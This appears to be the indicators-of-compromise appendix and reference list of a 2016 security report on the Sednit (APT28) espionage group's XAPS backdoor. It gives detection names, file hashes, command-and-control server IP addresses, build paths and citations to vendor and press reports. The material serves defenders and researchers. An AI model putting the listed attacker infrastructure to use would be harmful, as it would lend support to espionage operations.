Win32/Agent.RMR
Win32/Agent.RQI

Hashes0450aaf8ed309ca6baf303837701b5b23aac6f05
067913b28840e926bf3b4bfac95291c9114d3787
1535d85bee8a9adb52e8179af20983fb0558ccb3
42dee38929a93dfd45c39045708c57da15d7586c
8f4f0edd5fb3737914180ff28ed0e9cca25bf4cc
982d9241147aaacf795174a9dab0e645cf56b922
99b454262dc26b081600e844371982a49d334e5e
c637e01f50f5fbd2160b191f6371c5de2ac56de4
c91b192f4cd47ba0c8e49be438d035790ff85e70
cdeea936331fcdd8158c876e9d23539f8976c305

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db731119fca496064f8045061033a5976301770dde3946b83411489797232560db838a802370ea71
e945de27ebfd1baf8e8d2a81f4fb0d4523d85d6a

C&C server IP Addresses
131.72.136.165
167.114.214.63
176.31.112.10
176.31.96.178
192.95.12.5
46.183.216.209
80.255.10.236
80.255.3.93
81.17.30.29
95.215.46.27

PDB Paths
H:\last version 23.04\UNvisible crypt version XAPS select - копия\XAPS_OBJECTIVE\
Release\XAPS_OBJECTIVE.pdb
C:\Users\User\Desktop\xaps_through_squid_default_proxy\Release\XAPS_OBJECTIVE.pdb
C:\Users\John\Documents\Новая папк\XAPS_OBJECTIVE\Release\XAPS_OBJECTIVE.pdb
E:\PROJECT\XAPS_OBJECTIVE_DLL\Release\XAPS_OBJECTIVE.pdb

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References
1. The Washington Post, Russian government hackers penetrated DNC, stole opposition research on Trump,
https://www.washingtonpost.com/world/national-security/russian-government-hackers-penetrated-dncstole-opposition-research-on-trump/2016/06/14/cf006cb4-316e-11e6-8ff7-7b6c1998b7a0_story.html, June 2016
2. The Wall Street Journal, Germany Points Finger at Russia Over Parliament Hacking Attack, http://www.wsj.com/
articles/germany-points-finger-at-russia-over-parliament-hacking-attack-1463151250, May 2016
3. Reuters, France probes Russian lead in TV5Monde hacking: sources,
http://www.reuters.com/article/us-france-russia-cybercrime-idUSKBN0OQ2GG20150610, June 2015
4. ESET VirusRadar, Zero-day, http://www.virusradar.com/en/glossary/zero-day
5. ESET, Sednit Espionage Group Attacking Air-Gapped Networks, http://www.welivesecurity.com/2014/11/11/sednitespionage-group-attacking-air-gapped-networks/, November 2014
6. Kaspersky, Sofacy APT hits high profile targets with updated toolset, https://securelist.com/blog/research/72924/
sofacy-apt-hits-high-profile-targets-with-updated-toolset/, December 2015
7. CrowdStrike, Bears in the Midst: Intrusion into the Democratic National Committee,
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8. Trend Micro, Pawn Storm Espionage Attacks Use Decoys, Deliver SEDNIT, https://www.trendmicro.com/vinfo/us/
security/news/cyber-attacks/pawn-storm-espionage-attacks-use-decoys-deliver-sednit, October 2014
9. FireEye, APT28: A Window into Russia’s Cyber Espionage Operations?, https://www.fireeye.com/blog/
threat-research/2014/10/apt28-a-window-into-russias-cyber-espionage-operations.html
10. GitHub, ESET Indicators of Compromises, https://github.com/eset/malware-ioc/tree/master/sednit
11. ESET, Sednit espionage group now using custom exploit kit, http://www.welivesecurity.com/2014/10/08/sednitespionage-group-now-using-custom-exploit-kit/, October 2014
12. Microsoft Developer Network, Run-Time Type Information, https://msdn.microsoft.com/en-us/library/b2ay8610.aspx
13. Trend Micro, Pawn Storm Update: iOS Espionage App Found, https://blog.trendmicro.com/trendlabs-securityintelligence/pawn-storm-update-ios-espionage-app-found/, February 2015
14. Die.net, pthreads(7) - Linux man page, http://linux.die.net/man/7/pthreads
15. SQLite, SQLite, https://www.sqlite.org/
16. Wikipedia, Cyclic redundancy check, https://en.wikipedia.org/wiki/Cyclic_redundancy_check
17. W3C, The Multipart Content-Type, https://www.w3.org/Protocols/rfc1341/7_2_Multipart.html
18. Microsoft Developer Network, How to Implement Icon Overlay Handlers,
https://msdn.microsoft.com/en-us/library/windows/desktop/hh127442(v=vs.85).aspx
19. Microsoft Developer Network, SYSTEMTIME structure,https://msdn.microsoft.com/en-us/library/windows/desktop/ms724950(v=vs.85).aspx
20. Wikipedia, Lempel–Ziv–Welch, https://en.wikipedia.org/wiki/Lempel%E2%80%93Ziv%E2%80%93Welch
21. 4coder, LZW Algorithm Implementation, http://4coder.org/c-c-source-code/243/
22. Netzpolitik.org, Digital Attack on German Parliament: Investigative Report on the Hack of the Left Party
Infrastructure in Bundestag, https://netzpolitik.org/2015/digital-attack-on-german-parliament-investigativereport-on-the-hack-of-the-left-party-infrastructure-in-bundestag/, June 201523. Spiegel, Cyberangriff auf das Parlament: Bundestag bestätigt Abfluss von E-Mail-Daten, https://www.spiegel.de/netzwelt/netzpolitik/cyberangriff-bundestag-bestaetigt-diebstahl-von-e-mail-daten-a-1039816.html, June 201524. PDB Files, https://github.com/Microsoft/microsoft-pdb#what-is-a-pdb
25. Internet Engineering Task Force, The Transport Layer Security (TLS) Protocol,
https://tools.ietf.org/html/rfc5246#section-1
26. Microsoft Developer Network, WinHttpGetIEProxyConfigForCurrentUser function,
https://msdn.microsoft.com/en-us/library/windows/desktop/aa384096(v=vs.85).aspx
27. Squid, Home Page, http://www.squid-cache.org/

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28. Wikipedia, HTTP CONNECT tunneling, https://en.wikipedia.org/wiki/HTTP_tunnel#HTTP_CONNECT_tunneling
29. Wikipedia, HTTP persistent connection, https://en.wikipedia.org/wiki/HTTP_persistent_connection
30. Wikipedia, Opaque predicate, https://en.wikipedia.org/wiki/Opaque_predicate
31. Wikipedia, Control flow graph, https://en.wikipedia.org/wiki/Control_flow_graph
32. SecurityXploded, Home Page, http://securityxploded.com/
33. mimikatz, GitHub page, https://github.com/gentilkiwi/mimikatz

Last updated 2016-09-07 19:38:00 EDT

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